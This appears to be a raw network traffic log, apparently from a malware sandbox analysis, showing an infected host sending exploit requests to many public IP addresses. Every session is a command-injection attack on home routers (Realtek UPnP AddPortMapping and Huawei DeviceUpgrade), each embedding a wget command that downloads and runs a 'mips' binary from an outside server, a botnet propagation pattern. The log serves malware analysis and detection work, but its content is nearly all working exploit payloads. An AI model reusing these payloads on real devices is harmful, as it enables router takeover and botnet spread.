Dec 4, 2024 20:34:26.924498081 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	34958	197.149.191.62	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.925879955 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	45946	197.57.17.249	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.926906109 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	40064	41.43.4.149	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.927253962 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	53662	156.33.126.151	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.927896023 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	50822	41.53.67.33	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.928675890 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	51048	41.165.7.20	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.929768085 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	36750	156.154.217.250	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.930373907 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	49360	41.54.125.212	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.931075096 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.81.47.208 -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	49792	156.169.0.109	52869

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.931505919 CET	882	OUT	POST /picsdesc.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Hello-World Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 2f 25 32 32 25 33 45 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 30 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://212.81.47.208/mips; chmod +x mips; ./mips</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	36106	156.126.215.134	37215

Timestamp	Bytes transferred	Direction	Data
Dec 4, 2024 20:34:26.931994915 CET	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 38 31 2e 34 37 2e 32 30 38 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 